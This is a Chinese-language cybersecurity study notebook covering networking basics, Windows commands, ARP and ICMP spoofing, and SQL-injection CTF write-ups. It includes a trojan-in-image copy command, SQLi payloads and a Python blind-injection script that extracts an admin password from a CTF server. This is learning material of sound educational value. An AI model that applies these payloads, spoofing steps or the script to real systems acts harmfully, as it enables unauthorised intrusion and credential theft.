Bootstrap

网络安全入门(持续更新)

第零章 网络安全概述

网络安全是什么

  • 网络安全基本要素(CIA)
    1. 机密性(Confidentiality):确保一些重要信息/敏感数据不会被未授权访问(不会被窃取);
    2. 完整性(Integrity):确保数据在传输过程中不会被篡改;
    3. 可用性(Availability):确保已授权人员可以正常获取数据;

网络安全关心什么

  • 网络通信安全:网络、路由器、交换机等网络设备;
  • 计算环境安全:中间件、操作系统;
  • 应用数据安全:应用程序、数据存取;

核心技术体系

  • 安全运营(防止黑客攻击&&应急响应)
    1. 网络安全架构的设计(被攻击前);
    2. 入侵检测与安全预警(被攻击时);
    3. 日志流量的分析研判(被攻击时);
    4. 数字取证与攻击溯源(被攻击时);
    5. 安全加固和应急响应(被攻击后);
  • 渗透测试
    1. Web安全渗透测试;
    2. 白盒测试、代码审计;
    3. 网络协议攻击与入侵;
    4. 漏洞扫描、漏洞挖掘;
    5. 漏洞环境搭建;
  • 系统入侵
    1. 木马制作与木马植入;
    2. 漏洞利用与系统入侵;
    3. 系统提权和内网渗透;
    4. 系统入侵和渗透工具;
    5. 漏洞环境复现和自测;
  • 安全开发
    1. PHP漏洞环境搭建;
    2. python攻击脚本编写;
    3. 安全基线检测脚本开发;
    4. IDS、WAF系统制作;
    5. Shell脚本批处理应用;
  • Java对网络安全的重要性:绝大部分应用程序都是用Java开发,因此Java在网络安全中的地位是非常重要的,但是Java的学习成本非常高,不建议先学Java(很多漏洞都是大同小异的)。

就业方向薪资待遇

image-20240214103828315

各阶段学习目标

  • 第一阶段:网络通信与协议安全

    image-20240214151538862

    image-20240214151824414

  • 第二阶段:系统应用与安全开发

    image-20240214151632947

    image-20240214151759392

  • 第三阶段:渗透测试与系统入侵

    image-20240214152040364

    image-20240214152306168

  • 第四阶段:安全防御和运营保障

    image-20240214152548677

    image-20240214152947531

第一章 Windows基础

Vmware

虚拟机安装

  • 镜像下载:https://next.itellyou.cn/
  • 虚拟机安装:https://blog.csdn.net/weixin_74195551/article/details/127288338

网络模式

  • NAT:虚拟机和物理机的真实网卡形成网络环境。

    1. 网络地址转换;

    2. 虚拟操作系统将数据包发送给VMware中的虚拟路由器,虚拟路由器将数据包发送给真是网卡,进而发送给因特网;

    3. NAT网络模式下,虚拟机可以访问物联网(虚拟路由器发送给真实网卡),也可以与物理机通信(虚拟路由器发送给虚拟网卡);

    4. 实验(虚拟机和物理机互相通信、虚拟机与外网通信):关闭虚拟机和物理机的防火墙&&将所有虚拟机都设置为NAT模式。

      image-20240214205400782

      image-20240214204713965

      image-20240214205000456

      image-20240214205150735

      image-20240214205715922

      image-20240214205905680

      image-20240214210033479

    image-20240214211142015

  • 仅主机模式:虚拟机和物理机的虚拟网卡形成网络环境。

    1. 虚拟机之间可以互相通信、也可以和物理机相互通信;

    2. 虚拟机无法访问外网;

    3. 实验

      image-20240214211920691

      image-20240214212132522

      image-20240214212209498

      image-20240214212328868

      image-20240214212415859

  • 桥接模式:虚拟机直接使用物理机上的任何一张网卡(真实网卡、虚拟网卡),默认使用真实网卡。

    image-20240214203351894

Windows基本命令

文件与目录操作

  • 命令结构

    命令 [参数] 内容
    
  • 路径

    1. 绝对路径:从盘符到目标所经过的所有文件夹
    2. 相对路径:以当前文件夹为基准,表示上一级或下一级路径
  • cd:进入某个文件夹

    1. 演示

      #进入C盘中Windows目录中的System目录
      cd C://Windows//System
      #进入上一级目录
      cd ../
      #进入当前目录下的System32目录
      cd ./
      
  • dir:查看文件夹中的所有内容

    1. 演示

      #查看当前文件夹中的内容
      dir
      #查看指定文件夹中的内容
      dir D:\Download
      #查看当前文件夹中的所有内容(包括隐藏的)
      dir /a
      
  • md:创建文件夹

  • rd:删除文件夹

  • xcopy:复制文件/文件夹到指定路径

    1. 演示

      #将D盘中的web目录复制到C盘
      xcopy D:\web C:\
      
  • copy:复制文件到指定路径

    1. 演示

      #将当前目录中的1.txt移动到D盘中的test文件夹中
      copy ./1.txt D:\test\
      #将b.txt中的内容追加到a.txt中
      copy a.txt+b.txt c.txt
      #将muma.txt中的内容追加到tupian.jpg中(/b表示二进制文件)
      copy /b tupian.jpg+/b muma.txt image.jpg
      
  • move:将文件移动到指定文件夹中

  • rename:重命名文件

  • del:删除文件

文本处理

  • type:查看文本文件内容

  • findstr:查找字符串

    1. 演示

      #将ipconfig的内容写入到当前目录中的ip.txt
      ipconfig > ./ip.txt
      #查找IPv4所在的行
      findstr "IPv4" ./ip.txt
      
  • 管道:将前面命令的结果作为后面命令的对象

    1. 演示

      ipconfig | findstr "IPv4"\\
      
      #查看本地开放的端口
      netstat -anop | findstr /i "listening"
      
  • 重定向:将命令结果写入到文件中

    1. 演示

      #将本地端口信息写入到result.txt中
      netstat -anop > ./result.txt
      #将ipconfig /all的结果追加到result.txt中
      ipconfig /all >> ./result.txt
      

网络相关

  • ipconfig:查看网络适配器;

    image-20240225220601512

    image-20240225220738650

    image-20240225220850060

  • netsh:配置网络适配器,通过命令配置网络连接;

  • ping:检测是否能与目标通信;发送的是ICMP报文(ping不同,不代表不能访问网站);

    image-20240225222559519

  • nslookup:请求DNS服务器解析域名;

    image-20240225222903200

路由操作

  • tracert:路由跟踪,监测与目标通信,经过了哪些路由器;

    image-20240225223318426

  • route:查看路由器信息;

网络连接排查

  • netstat:查看使用tcp、udp、icmp协议通信的进程;

    image-20240225223540329

  • telnet:远程管理操作系统,用于连接telnet服务器,常用来探测目标开放的端口;

  • arp:查看arp缓存表(arp缓存表记录IP地址对应的mac地址,防止被arp欺骗)

进程和服务控制

  • taskkill:结束指定进程;
  • services.msc:图形化界面管理本地所有服务
  • net start:启动服务

用户和组管理

用户

  1. 一台计算机拥有多个用户,不同用户权限不同;同时,为了区分账户,操作系统为每个账户设置了一串编码——sid(类似于身份证号);

  2. 创建影子账户

    https://blog.csdn.net/baidu_38844729/article/details/115708745
    
  3. 内置账户

    • Administrator:windows默认管理员;
    • Guest:来宾账户,一旦开启任何人都可以登录,但是权限极低;
    • System:系统账户,代表当前操作系统(比Administrator的权限都高,也是提权的最终目标);
    • Local Service:本地服务:
    • Network Service:网络服务
  4. 用户组:方便批量管理用户的权限

    • 创建组

      image-20240227155252536

    • 将用户添加到某个组

      image-20240227155439052

  5. 常用内置组

    • administrators:管理员组;
    • remote desktop users:远程登陆组;
    • Backup Operators:备份操作系统组;
    • Users:普通用户组,新建用户默认属于该组;
    • Authenticated Users:已认证的用户(登录成功过的用户),在修改权限时要特别注意这个组的权限,避免权限限制不到位;

NTFS权限

  1. 常用文件系统(磁盘存储文件的方式/格式)
    • Windows:FAT、FAT32、NTFS等;
    • Linux:Ext、XFS、JFS等;
    • macOS:HFS、APFS等;
  2. windows中最常用的是NTFS文件系统,其特点如下:
    • 支持对文件/文件夹设置权限(ACL:访问控制列表);
    • 支持压缩;
    • 支持磁盘配额;

文件共享

文件共享服务采用SMB协议进行网络文件共享,对应TCP/445,windows默认开启该服务;

Windows注册表

  1. 注册表:windows操作系统配置信息的集合,注册表有多个配置文件组成;
  2. 快捷方式:regedit;
  3. 注册表由五棵子树构成(其他三棵子树都是HKEY_LOCAL_MACHINE和HKEY_USERS中抽取出来的),每棵子树都由若干项(类似于文件夹)组成,每个项都由若干具体的值(类似于文件)构成。
    • HKEY_CLASSES_ROOT:
    • HKEY_CURRENT_USER:
    • HKEY_LOCAL_MACHINE:计算机硬件和操作系统的配置信息;
    • HKEY_USERS:
    • HKEY_CURRENT_CONFIG:当前系统的部分配置信息;

开机启动项

  1. 路径
    • 计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run;
    • 计算机\HKE_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run;

软件信息

  1. 路径
    • 计算机\HKEY_LOCAL_MACHINE\SOFTWARE;
    • 计算机\HKEY_CURRENT_USER\Software;

用户信息

  1. 路径:计算机\HKEY_LOCAL_MACHINE\SAM;

Windows防火墙

  1. 概述:防火墙是用来控制数据流量进出的软件/设备,是网络传输中的拦路虎;

  2. 产品分类

    • 软件:windows安全中心、火绒、360、Linux Firewalld等;
    • 硬件:启明星辰(天清汉马USG防火墙、下一代防火墙等)、奇安信等;
  3. 入站规则:控制数据流量的进入(默认为拒绝状态);出战规则:控制数据流量的出去;

  4. 防火墙原理:基于数据包的五元组(源IP、源端口、协议、目标IP、目标端口)对数据包进行过滤,识别的是IP、端口和协议;

  5. 访问方式/流量分类

    • ping:使用ICMP协议(网络层协议,没有端口);
    • web访问:使用http或https协议,占用TCP/80或TCP/443端口;
    • 文件共享:使用SMB协议,占用TCP/445端口;
    • 文件服务:使用FTP协议,占用TCP/21端口;
    • telnet远程命令:使用telnet协议,占用TCP/23端口;
    • 远程桌面:使用rdp协议,占用TCP/3389端口;
    • 域名解析:使用DNS协议,占用UDP/53端口;
  6. 实验:准备虚拟机Win7(防火墙开启)、虚拟机Win10(防火墙开启)

    • image-20240301110844867

    • win10可以ping通win7;

      image-20240301105107597

      image-20240301105130906

      image-20240301105157100

      image-20240301105239052

      image-20240301105304267

      image-20240301105322583

      image-20240301105343475

      image-20240301105419221

      image-20240301105448889

      image-20240301105546985

    • win7共享一个文件夹,但是win10无法访问;

      image-20240301111023244

    • win10可以telnet win7;

    • win10无法远程桌面到win7;

第二章 计算机网络

网络拓扑结构

  1. 星型拓扑
    • 有中心节点;
    • 结构简单,拓展容易,排查轻松;
    • 容易产生单点故障,中心节点一旦发生故障,其下的整个字网络将瘫痪(对中心节点增加冗余设备);
  2. 网型拓扑
  3. 树型拓扑

网络参考模型

  1. OSI七层模型
    • 应用层(第七层):用户操作使用应用软件的层次,产生原始数据;
    • 表示层(第六层):对原始数据进行格式转换(例如转换为ASCII、二进制、BCD等)、加密、压缩等,便于在网络中传输;
    • 会话层(第五层):建立、管理和终止会话;
    • 传输层(第四层):定义传输数据时使用的协议、端口、进程等;
    • 网络层(第三层):寻找目标IP地址(地名),选择网络路径实现不同网络之间的通信(根据路由选择路径);
    • 数据链路层(第二层):根据MAC地址(经纬度)表寻址(IP地址与MAC地址对应);
    • 物理层(第一层):将数据转换为信号(光信号、电信号、无线信号等),数据传输的物理通道;
  2. TCP/IP(传输控制协议/网际协议)五层协议簇/栈
    • 应用层(第五层):用户操作使用应用软件的层次,产生原始数据;对原始数据进行格式转换(例如转换为ASCII、二进制、BCD等)、加密、压缩等,便于在网络中传输;建立、管理和终止会话;
    • 传输层(第四层):定义传输数据时使用的协议、端口、进程等;
    • 网络层(第三层):寻找目标IP地址(地名),选择网络路径实现不同网络之间的通信(根据路由选择路径);
    • 数据链路层(第二层):根据MAC地址(经纬度)表寻址(IP地址与MAC地址对应);
    • 物理层(第一层):将数据转换为信号(光信号、电信号、无线信号等),数据传输的物理通道;
  3. 为什么使用TCP/IP,不适用OSI?
    • OSI没有考虑协议问题,不适用于现在庞大复杂的网络环境,而TCP/IP中容纳了许许多多的协议,可以在当今的网络中进行数据传输。

TCP/IP五层协议栈

各层协议

  1. 应用层:应用层的所有协议都基于传输层协议的某个端口(端口范围:tcp(065535)、udp(065535),0~1023为公认端口);

    • 常用端口及协议大全:https://www.lddgo.net/network/port

    • ftp:tcp/21

    • ssh:tcp/22

    • telnet:tcp/23

    • dns:tcp/53、udp/51

    • http:tcp/80

    • https:tcp/443

    • mysql:tcp/3306

    • rdp:tcp/3389

  2. 传输层:TCP传输控制协议(数据更加安全可靠,不会丢失)、UDP用户数据协议(传输速率更加高效);

  3. 网络层:ARP(地址解析协议)、RARP(逆地址解析协议)、ICMP(网际控制报文协议)、IGMP(网际组管理协议);

  4. 数据链路层:Ethernet协议;

  5. 物理层

封装与解封装

  1. TCP/IP五层协议栈中,各层数据的结构;

    image-20240306092621381

  2. 封装:对原始数据进行格式转换,并逐层加上特殊内容;

  3. 解封装:将格式化后的结果转为原始数据,并逐层丢掉特殊内容;

  4. IP地址与MAC地址的关系:IP地址类似于地址名(例如,北京市朝阳区AA小区BB栋CC层DD号),MAC地址类似于经纬度(北纬33°28′,东经44°32′);网络通信中要知道自己要去哪里(IP地址),并且怎么去(根据MAC地址);

image-20240302113609048

image-20240302114536323

IP地址

  1. IPv4有32为二进制数组成,为了方便表示,每八位划分为一组,并用点分十进制表示;

    #IP地址:11000000.10101000.01111000.00100000
    #表示为:192.168.120.32
    
  2. 子网掩码:确定IP地址中的网络位和主机位,1对应的位置位网络位,0对应的位置位主机位;

    #192.168.120.32/16:192.168.120.32的前16位表示网段
    IP地址:192.168.120.32         11000000.10101000.01111000.00100000
    子网掩码:255.255.0.0           11111111.11111111.00000000.00000000
    网段:192.168.0.0
    
    #192.168.1.1/10:192.168.1.1的前20位表示网段
    IP地址:192.168.1.1              11000000.10101000.00000001.00000001
    子网掩码:255.255.240.0           11111111.11111111.11110000.00000000
    网段:192.168.11110000.00000000
    

IP地址分类

  1. IP地址分类(普通人类使用ABC三类地址)
    • A类:1.0.0.0 ~ 127.255.255.255,主要分配给主机多局域网少的大型网络;
    • B类:128.0.0.0 ~ 191.255.255.255, 一般用于大型公司和政府机构;
    • C类:192.0.0.0 ~ 223.255.255.255 ,一般用于小型公司、校园网、研究机构等;
    • D类:224.0.0.0 ~ 239.255.255.255,特殊用途,又称做广播地址;
    • E类:240.0.0.0 ~ 255.255.255.255,暂时保留
  2. 常见的私网地址
    • A类:10.0.0.0 ~ 10.255.255.255;
    • B类:172.16.0.0 ~ 172.31.255.255;
    • C类:192.168.0.0 ~ 192.168.255.255;
    • 127.0.0.0 ~ 127.255.255.255 为系统回环地址;

子网划分

网络分析工具

WireShark

科来

网络协议

Ethernet协议

  1. Ethernet协议属于二层协议,用于在数据中封装MAC地址;

  2. 二层中的数据叫做帧或者报文,二层封装的帧有两种结构;EthernetII帧结构和802.3帧结构。

    • EthernetII 帧结构

      image-20240303175312711

    • 802.3帧结构

ARP协议

  1. ARP(Address Resolution Protocol)地址解析协议:找出IP地址对应的MAC地址;同一网络下通信,需要使用ARP协议获取目标的MAC地址,不同网络下通信,需要使用ARP协议获取网关的MAC地址;

  2. ARP协议属于网络层,工作在数据链路层,封装在数据链路层的上层(2.5层,不是网络层);

  3. ARP协议原理

    • 主机发送ARP广播报文;
    • 目标主机收到请求后,进行单播相应;
  4. ARP利用(局域网攻击,ARP报文无法跨越路由器;属于中间人攻击,):我是你要找的目标(将自己伪装成目标IP,将给出自己网关的真实MAC地址),请将消息发送给我。

    • image-20240303214207512

    • ARP攻击:攻击机向靶机发送的ARP应答报文中使用的是虚假的MAC地址,导致靶机无法通信;

    • ARP欺骗:攻击机向靶机发送的ARP应答报文中使用的是攻击者的MAC地址,导致靶机将信息发送的信息被窃取;

      image-20240303211619776

      image-20240303211719384

      image-20240303211814985

      image-20240303211948888

      image-20240303212032517

      image-20240303212325611

      image-20240303212540182

    • 无感利用:攻击机开启IP转发,靶机将流量发送给攻击机,攻击机再将流量转发出去,从此充当中间人窃听通信,并且靶机不易发现;

      image-20240303212759038

      image-20240303212936053

  5. ARP攻击研判与防御(攻击者一般伪装成为网关)

    • 研判:路由跟踪(与外网通信,第一条路有一定是网关,如果被攻击了,就不是或者根本无法跟踪)、查看ARP缓存表中记录的MAC地址是否正确;

    • 防御:下载安全软件并开启局域网防御(原理:以极快的速度发送ARP广播报文,赶在被欺骗之前获取到正确的MAC地址)、以极快的速度清理ARP缓存表(下一次通信之前一定会再次获取MAC地址,赶在被欺骗之前获取到正确的MAC地址);

ICMP协议

  1. ICMP(Internet Contorl Message Protocol)网络控制报文协议:在主机和路由器之间传递的控制报文(例如,网络是否可达),是一种用于直接和路由器交互的报文,封装在网络层的上层,但属于三层协议;

  2. ICMP报文结构

    • type:ICMP类型

      类型0:ICMP应答报文
      类型3:目标不可达
      类型5:ICMP重定向
      类型8:ICMP请求报文
      类型11:超时报文
      
    • code

    • checksum

    • Identifier(BE)

    • Identifier(LE)

    • Sequence Number(BE)

    • Sequence Number(LE)

    • Data:报文携带的数据,此处存在安全风险

  3. ICMP重定向:主机向访问外网,向网关发起请求时,该路由器没有对应的外网地址,无法进行路由,但是它知道有另一个路由器可以到达,此时该网关回想主机发送一个ICMP重定向报文,要求主机将网关改为另一个路由器的地址;

  4. ICMP重定向攻击:攻击机告诉正在通信的靶机,我是你当前访问的网关(冒充真实的网关IP,但MAC地址为填充地址),并且不能使用我,请将网关改为我指定的路由器;

IP协议

  1. 属于三层协议,上三层的数据的传输都需要使用IP协议,目前(2024年)有两个版本(IPv4、IPv6),在网络层封装IP头部(源IP和目标IP);
  2. IP报文头部结构
    • 版本;IPv4还是IPv6;
    • 头部长度:
    • 区分服务字段:用于控制流量传输,网络层会给每个数据包贴上标签,用于表示那些是重要流量,哪些是普通流量,传输时优先保证重要数据的传输;
    • 总长度;
    • 标识:数据在网络层会被分片(正常应用层的数据会在传输层进行分段,控制大小,但是ICMP层如果产生了一个较大的单个报文,就会在网络层进行分片),给每个片段进行编号,防止数据错乱;
    • 标志:数据在网络层会被分片,给每个片段进行编号,防止数据错乱;
    • 段偏移量:数据在网络层会被分片,给每个片段进行编号,防止数据错乱;
    • 生存周期:经过的路由器数量,windows产生的报文生存周期为128,linux产生的报文默认生存周期为64,可以用于判断目标操作系统;
    • 协议:用于标识上层报文的协议(icmp——1,tcp——6,udp——17);
    • 首部校验;
    • 源IP;
    • 目标IP;
    • 可选项:携带的数据;
    • image-20240305142354163

TCP协议

  1. TCP(Transmission Control Protocol):传输控制协议,属于四层协议,提供了一种可靠的安全传输方式;

WEB安全

SQL注入

image-20240429104507998

感悟总结

  1. where条件表达式

    # 对于单条件表达式:where假 <==> 结果集为空,where真 <==> 全部数据,where正确的字段 <==> 字段的内容
    

    image-20240505001014206

    # 对于多条件表达式:and <==> 取两张表的公共部分,or <==> 取两张表的组合部分(去重)
    

    image-20240504235901337

    image-20240505000154774

    image-20240505000333924

    image-20240505000445265

    1. web应用往往会把客户端的一些参数放在where语句中作为条件进行查询,理解了上述原理之后我们可以更加灵活地构造payload,可以控制结果集中有没有数据,以及是什么数据,而不再死记硬背套模板;
    2. 控制结果集中有没有数据: 以sqli-labs-less11为例,即使不知道账号密码,只要结果集中有数据就可以登陆成功,所以有种方式叫做万能密码;
    

    image-20240505112313491

    image-20240505112527490

    3. 控制结果集中是什么数据:以sqli-labs-less11为例,登录成功之后还会把账号密码显示出来,我们可以控制结果集中的username字段和password字段中是我们想要的数据,例如数据库的版本、用户等等,这就是联合注入。
    

    image-20240505114949118

    4. 当and和or被过滤的时候,^ 可以代替他俩,相当于单条件where表达式,这种方式叫做异或注入
    

    image-20240505123015881

[SUCTF 2019]EasySQL

  1. 这道题目将参数直接放到了select后面,对选手猜解后端SQL的能力要求极高;

  2. 输入任意字符串,发现没有反应,紧接着进行fuzz,发现过滤了一些关键字,在尝试常规注入发现仍然没有任何反应???

  3. 回到最初,在尝试输入字符串,发现任何字符串都不起作用,但是如果是数字就会返回结果集中的内容,并且值为1;

  4. 为什么查询之后结果都是1,明明没有输入1呀,只有一种可能——这个1不是输入的,而是一个运算结果,即布尔运算的结果;

  5. 所以,输入的内容会被进行布尔运算,而且结果集中有这个结果,说明这个布尔运算是直接被放在了select后面,即select 输入的内容与xxx布尔运算 from aaa;

  6. 这个布尔表达式到底是什么(and 还是 or???)、xxx又是什么:xxx的值无非两种类型——字符串/数字,如果是数字,那么表达式就应该为”输入的内容 and 数字“;如果是字符串,那么表达式就应该为”输入的内容 or 字符串“;

  7. 这是一道题目,xxx肯定是和flag有关的(就是flag的字段名),flag绝大部分情况下都是字符串,所以后端的SQL极大可能是”select 输入的内容 or flag对应的字段名 from 一张有flag的表“;

  8. 如何注入/如何获取flag:核心思想就是让输入的内容逃出布尔表达式

    • *,1 :select * , 1 or flag对应的字段名 from 一张有flag的表

      image-20240505211020283

    • 如果后端语句中的逻辑运算符不是or,而是||(毕竟人家过滤了and和or关键字,放行&&和||,也算提示吧),配合堆叠注入,直接将||的功能变成字符串拼接,从而直接布尔表达式变成了一个字符串(select ‘用户输入的内容字段名’ from 一张有flag的表):1;set sql_mode=PIPES_AS_CONCAT;select 1

      image-20240505210949181

Just SQLi

  • 源码

    <?php
    
    $user = NULL;
    $is_admin = 0;
    
    if (isset($_GET["source"])) {
        highlight_file(__FILE__);
        exit;
    }
    
    if (isset($_POST["username"]) && isset($_POST["password"])) {
        $username = $_POST["username"];
        $password = $_POST["password"];
    
        $db = new PDO("sqlite:../database.db");
        $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    
        try {
            $db->exec("CREATE TABLE IF NOT EXISTS users (username TEXT UNIQUE, password TEXT, is_admin BOOL);");
    
            $q = "username, is_admin FROM users WHERE username = '$username' AND password = '$password'";
            if (preg_match("/SELECT/i", $q)) {
                throw new Exception("only select is a forbidden word");
            }
    
            $rows = $db->query("SELECT " . $q, PDO::FETCH_ASSOC);
            foreach ($rows as $row) {
                $user = $row["username"];
                $is_admin = $row["is_admin"];
            }
        }
        catch (Exception $e) {
            exit("EXCEPTION!");
        }
    
    
    }
    
    ?>
    
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title>Just SQLi</title>
    </head>
    <body>
        <h1>Just SQLi</h1>    
        <div><a href="?source=1">view source</a>
    
        <?php if ($user) { ?>
        <div>Nice Login <?= $user ?></div>
            <?php if ($is_admin) { ?>
            <div>And Nice to Get the Admin Permission!</div>
            <div> <?= include("../flag.php"); ?></div>
            <?php } ?>
        <?php } ?>
    
        <form action="" method="POST">
            <div>username: <input type="text" name="username" required></div>
            <div>password: <input type="text" name="password" required></div>
    
            <div>
                <input type="submit" value="Login">
            </div>
        </form>
    
    </body>
    </html>
    
  • 代码审计

    1. 19行:创建users表,表结构为username、password、is_admin,没有任何数据;
    2. 21行、26行:将用于提交的用户名和密码代入users表中查询;
    3. 22~24行:过滤了select;
    4. 52~57行:只要结果集中is_admin字段为true就输出flag;
  • 手法:联合注入union values(users表是空的,结果集中is_admin字段肯定是没有数据的,因此需要构造一个有数据的结果集)

    image-20240503133106675

sqli-0x1

  • 源码

    <?php
    error_reporting(0);
    error_log(0);
    
    require_once("flag.php");
    
    function is_trying_to_hak_me($str)
    {   
        $blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"];
        if (strpos($str, "'") !== false) {
            if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) {
                return true;
            }
        }
        foreach ($blacklist as $token) {
            if (strpos($str, $token) !== false) return true;
        }
        return false;
    }
    
    if (isset($_GET["pls_help"])) {
        highlight_file(__FILE__);
        exit;
    }
       
    if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) {
        $user = $_POST["user"];
        $pass = $_POST["pass"];
        if (is_trying_to_hak_me($user)) {
            die("why u bully me");
        }
    
        $db = new SQLite3("/var/db.sqlite");
        $result = $db->query("SELECT * FROM users WHERE username='$user'");
        if ($result === false) die("pls dont break me");
        else $result = $result->fetchArray();
    
        if ($result) {
            $split = explode('$', $result["password"]);
            $password_hash = $split[0];
            $salt = $split[1];
            if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
            else $err = "Wrong password";
        }
        else $err = "No such user";
    }
    ?>
    
    <!DOCTYPE html>
    <html>
    <head>
        <title>Hack.INI 9th - SQLi</title>
    </head>
    <body>
        <?php if (isset($logged_in) && $logged_in): ?>
        <p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?><p>
        <?php else: ?>
        <form method="post">
            <input type="text" placeholder="Username" name="user" required>
            <input type="password" placeholder="Password" name="pass" required>
            <button type="submit">Login</button>
            <br><br>
            <?php if (isset($err)) echo $err; ?>
        </form>
        <?php endif; ?>
        <!-- <a href="/?pls_help">get some help</a> -->
    </body>
    </html>
    
  • 代码审计

    1. 9行、29行:过滤了一堆符号,检测用户提交的user;
    2. 34行:在users表中查询数据;
    3. 38~44行:将结果集中的password内容根据$分割为两部分,将第二部分与用户数据的密码进行sha256加密,如果密文与第一部分相等,logged_in就等于true,即输出flag;
  • 手法:联合查询(可以构造结果集中的password字段)、将任意字符串进行sha256加密、将字符串随意分成两部分——第一部分作为密码、第二部分与密文通过$拼接在一起;

    image-20240503141109931

[TJCTF-2023] ez-sql

  • 源码

    const express = require('express');
    const app = express();
    const sqlite3 = require('sqlite3');
    const uuid = require('uuid');
    const fs = require('fs');
    const { parse } = require('csv-parse');
    
    const flag = fs.readFileSync('./flag.txt', { encoding: 'utf8' }).trim();
    
    app.use(express.urlencoded({ extended: true }));
    
    const db = new sqlite3.Database(':memory:');
    
    db.serialize(() => {
        db.run('CREATE TABLE jokes (id INTEGER PRIMARY KEY, joke TEXT)');
    
        const stmt = db.prepare('INSERT INTO jokes (id, joke) VALUES (?, ?)');
    
        // jokes from https://github.com/amoudgl/short-jokes-dataset/blob/master/data/reddit-cleanjokes.csv
        fs.createReadStream('./reddit-cleanjokes.csv').pipe(parse({ delimiter: ',' })).on('data', (row) => {
            stmt.run(row[0], row[1]);
        }).on('end', () => {
            stmt.finalize();
        });
    
        const flagTable = `flag_${uuid.v4().replace(/-/g, '_')}`;
        db.run(`CREATE TABLE IF NOT EXISTS ${flagTable} (flag TEXT)`);
    
        db.run(`INSERT INTO ${flagTable} (flag) VALUES ('${flag}')`);
    });
    
    
    app.get('/', (req, res) => {
        res.sendFile(__dirname + '/index.html');
    });
    
    app.get('/search', (req, res) => {
        const { name } = req.query;
    
        if (!name) {
            return res.status(400).send({ err: 'Bad request' });
        }
    
        if (name.length > 6) {
            return res.status(400).send({ err: 'Bad request' });
        }
    
        db.all(`SELECT * FROM jokes WHERE joke LIKE '%${name}%'`, (err, rows) => {
            if (err) {
                console.error(err.message);
                return res.status(500).send('Internal server error');
            }
    
            return res.send(rows);
        });
    });
    
    app.listen(3000, () => {
        console.log('Server is running on port 3000');
    });
    
    
  • 代码审计

    1. 8行、26~29行:创建表,表名为flag_客户端的uuid,结构只有一个flag字段,值就是flag;
    2. 15行:创建jokes表,表结构为id、joke;
    3. 37~56行:如果用户没有输入值或者输入的字符串长度大于6就返回’Bad request’;否则,就将用户输入的内容代入jokes表中模糊查询,并将所有结果直接返回;
  • 手法:联合查询(可以将结果集返回)、数组绕过长度限制(name[0]=xxxx,无论些什么name的长度都为1)

    image-20240504111035589

    image-20240504111107992

    image-20240504111138907

[bugku] sql注入

  1. 这道题目有问题,没办法通过数据库猜解表名(过滤了for关键字,information_schema不起作用),flag藏在admin表里面的password字段中;

  2. 提示信息:布尔盲注

  3. 看到登录框,尝试弱密码,用户名admin,密码admin,提示密码错误,证明有admin这个账户;在尝试一个不存在的用户,提示用户不存在,有正确结果返回一种页面,没有正确结果返回另一种界面,典型的布尔盲注;

    image-20240504224452033

    image-20240504225602206

  4. 寻找注入点:一般用户名字段会存在注入点(要将用户名和密码拿去数据库匹配,那么SQL语句的结构肯定为select name,pass from users where nmae=‘$name’),单引号闭合;

    image-20240504225017275

  5. fuzz测试,过滤了一堆东西(包括但不限于空格、逗号、for关键字、等号等等);

    image-20240504225103880

  6. 开始盲注:payload ===> password=brankyeen&username=brankyeen’||这里的结果为真提示密码错误,结果为假提示账户不存在||‘1’<>'1#。注意,由于过滤了逗号和for,猜解flag的语句应该写成ascii(substr((查询语句)from(第几位)))<>ASCII码

    image-20240504225938048

  7. 脚本

    """
    1. 题目有问题,没办法通过数据库获取admin表以及其字段;
    2. flag在admin表里面的password字段中
    """
    
    import requests
    
    class Boolean_SQL:
        url = "http://114.67.175.224:12658/index.php"
        # 结果为true的页面
        tresp = requests.post(url=url, data={"password": "abc", "username": "brankyeen'||1<>2||'1'<>'1"})
        tresp.close()
        # 结果为false的页面
        fresp = requests.post(url=url, data={"password": "abc", "username": "brankyeen'||1<>1||'1'<>'1"})
        fresp.close()
    
        def get_name(self):
            name = ""
            # 逐位暴破
            for j in range(1, 150):
                for k in range(32, 128):
                    data = {"password": "abc",
                            "username": f"brankyeen'||ascii(substr((select(password)from(admin))from({j})))<>{k}||'1'<>'1"}
                    print(data)
                    resp = requests.post(url=self.url, data=data)
                    resp.close()
                    if resp.text == self.fresp.text:
                        name += chr(k)
                        print(name)
                        break
            return name
    
    if __name__ == '__main__':
        a = Boolean_SQL()
        print(a.get_name())
    
  8. 得到的是md5密文,解密之后位bugkuctf。

[October 2019]Twice SQL Injection

  1. 确定注入类型:题目明确说明是二次注入,不用启动靶机就预判会有登录页面(为什么???二次注入的考题都是这样);

  2. 先注册两个账号来确定注入点

    • 注册账号1:名称——admin1,密码——admin1

    • 填写admin1中的内容

      image-20240506104713762

    • 注册账号2:名称——admin1’ or 1=1 #

    • 登录之后,看到了admin1中的内容,说明后端用来查询内容的SQL结构应该是 select 内容 from 有内容的那张表 where username=‘当前账号的名称’;

    • 所以,本题思路就是将payload放在账号名处

  3. 接下来就是联合注入的一些列手段了(需要注意的是,每个操作都要注册一个账号)

  4. 没有办法获取到flag表中的字段名,猜测只有一个字段,所以payload直接写成 -0’ union select * from flag#

  5. flag:flag{f77064a2-2224-4e66-8f68-dee78ce5f5e1}

XSS注入

CSRF/SSRF

  • CSRF:跨站脚本攻击

XXE

文件上传

文件包含

感悟总结

  1. 大背景:网站应用引入/执行有客户端指定的文件;
  2. 核心思路:拥有一个恶意文件,并且知道它的路径;本地路径/网络路径,本地路径往往是绝对路径;
  3. 在php中,对于include函数,无论是什么格式的文件,都会把文件里面的内容当成php代码执行;
  4. 提供本地路径/在他本地生成一个恶意文件
